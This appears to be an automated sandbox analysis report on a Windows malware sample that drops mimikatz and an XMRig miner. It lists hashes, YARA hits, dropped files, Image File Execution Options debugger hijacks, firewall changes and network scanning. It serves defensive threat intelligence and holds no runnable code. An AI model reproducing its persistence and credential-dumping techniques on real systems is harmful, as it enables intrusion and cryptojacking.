mimikatz | 54d3536cb5301ef6c1ecefc2e4b849b1eb57e6a69a44ca66636dfb4d70410bdf

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 08:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
Size

7.2MB
MD5

9e5acc38320127d871ba1a6ba4324723
SHA1

b266b15254cb03f00c6024428cf7d6ed18282523
SHA256

54d3536cb5301ef6c1ecefc2e4b849b1eb57e6a69a44ca66636dfb4d70410bdf
SHA512

5c007074ebe92917cadf18a4682cd766827e9dfe403ab6d0b6ab7dc65f1aaa732297ea3a6a939589f422345497548e16c08f7032be3ab92eeac8ef898f1e1417
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3372 created 1656	3372	jztlttt.exe	37

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (20184) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/3388-178-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-182-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-199-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-212-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-221-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-234-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-250-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-257-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-266-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig
behavioral2/memory/3388-375-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/632-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/632-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023416-5.dat	mimikatz
behavioral2/memory/5040-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/2712-138-0x00007FF7BB7A0000-0x00007FF7BB88E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	jztlttt.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	jztlttt.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2672	netsh.exe
1448	netsh.exe

Executes dropped EXE 28 IoCs

pid	Process
5040	jztlttt.exe
3372	jztlttt.exe
5112	wpcap.exe
2860	bgjptbtki.exe
2712	vfshost.exe
2240	kugnlttml.exe
3132	xohudmc.exe
1512	ditzew.exe
3388	ulniel.exe
2320	kugnlttml.exe
4572	kugnlttml.exe
3976	kugnlttml.exe
2004	kugnlttml.exe
3776	kugnlttml.exe
4424	kugnlttml.exe
3084	kugnlttml.exe
1148	kugnlttml.exe
4808	kugnlttml.exe
2956	kugnlttml.exe
1824	kugnlttml.exe
3200	kugnlttml.exe
2324	kugnlttml.exe
1156	kugnlttml.exe
1776	kugnlttml.exe
4468	kugnlttml.exe
1648	kugnlttml.exe
5028	jztlttt.exe
1628	mapkiilyu.exe

Loads dropped DLL 12 IoCs

pid	Process
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
5112	wpcap.exe
2860	bgjptbtki.exe
2860	bgjptbtki.exe
2860	bgjptbtki.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
75	ifconfig.me
76	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ditzew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	jztlttt.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\ditzew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	jztlttt.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	jztlttt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	jztlttt.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002346b-134.dat	upx
behavioral2/memory/2712-135-0x00007FF7BB7A0000-0x00007FF7BB88E000-memory.dmp	upx
behavioral2/memory/2712-138-0x00007FF7BB7A0000-0x00007FF7BB88E000-memory.dmp	upx
behavioral2/files/0x0007000000023476-141.dat	upx
behavioral2/memory/2240-142-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/2240-157-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/files/0x0007000000023473-164.dat	upx
behavioral2/memory/3388-165-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/2320-171-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/4572-175-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-178-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/3976-180-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-182-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/2004-185-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3776-189-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/4424-193-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3084-197-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-199-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/1148-202-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/4808-206-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/2956-210-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-212-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/1824-215-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3200-219-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-221-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/2324-224-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/1156-228-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/1776-231-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/4468-233-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-234-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/1648-236-0x00007FF7F1590000-0x00007FF7F15EB000-memory.dmp	upx
behavioral2/memory/3388-250-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/3388-257-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/3388-266-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx
behavioral2/memory/3388-375-0x00007FF6F1F00000-0x00007FF6F2020000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\cfitjigik\gliijiivv\wpcap.exe	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\tucl-1.dll	jztlttt.exe
File opened for modification	C:\Windows\unlujiui\schoedcl.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\AppCapture32.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\Corporate\mimidrv.sys	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\svschost.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\schoedcl.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\gliijiivv\ip.txt	jztlttt.exe
File created	C:\Windows\cfitjigik\gliijiivv\bgjptbtki.exe	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\exma-1.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\spoolsrv.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\Corporate\vfshost.exe	jztlttt.exe
File opened for modification	C:\Windows\unlujiui\jztlttt.exe	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\trfo-2.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\svschost.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\tibe-2.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\xdvl-0.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\svschost.exe	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\ucl.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\zlib1.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\schoedcl.xml	jztlttt.exe
File created	C:\Windows\unlujiui\spoolsrv.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\gliijiivv\mapkiilyu.exe	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\cnli-1.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\libxml2.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\trch-1.dll	jztlttt.exe
File opened for modification	C:\Windows\cfitjigik\gliijiivv\Result.txt	mapkiilyu.exe
File created	C:\Windows\unlujiui\jztlttt.exe	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\ssleay32.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\docmicfg.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\vimpcsvc.xml	jztlttt.exe
File opened for modification	C:\Windows\unlujiui\vimpcsvc.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\upbdrjv\swrpwe.exe	jztlttt.exe
File opened for modification	C:\Windows\cfitjigik\Corporate\log.txt	cmd.exe
File created	C:\Windows\unlujiui\schoedcl.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\gliijiivv\scan.bat	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\libeay32.dll	jztlttt.exe
File created	C:\Windows\unlujiui\docmicfg.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\crli-0.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\posh-0.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\schoedcl.exe	jztlttt.exe
File created	C:\Windows\unlujiui\vimpcsvc.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\Corporate\mimilib.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\gliijiivv\wpcap.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\spoolsrv.exe	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\spoolsrv.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\Shellcode.ini	jztlttt.exe
File opened for modification	C:\Windows\cfitjigik\gliijiivv\Packet.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\vimpcsvc.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\gliijiivv\Packet.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\vimpcsvc.exe	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\docmicfg.exe	jztlttt.exe
File created	C:\Windows\unlujiui\svschost.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\specials\coli-0.dll	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\docmicfg.xml	jztlttt.exe
File opened for modification	C:\Windows\unlujiui\svschost.xml	jztlttt.exe
File opened for modification	C:\Windows\unlujiui\spoolsrv.xml	jztlttt.exe
File opened for modification	C:\Windows\unlujiui\docmicfg.xml	jztlttt.exe
File created	C:\Windows\cfitjigik\UnattendGC\AppCapture64.dll	jztlttt.exe
File created	C:\Windows\ime\jztlttt.exe	jztlttt.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4392	sc.exe
4360	sc.exe
1592	sc.exe
3792	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
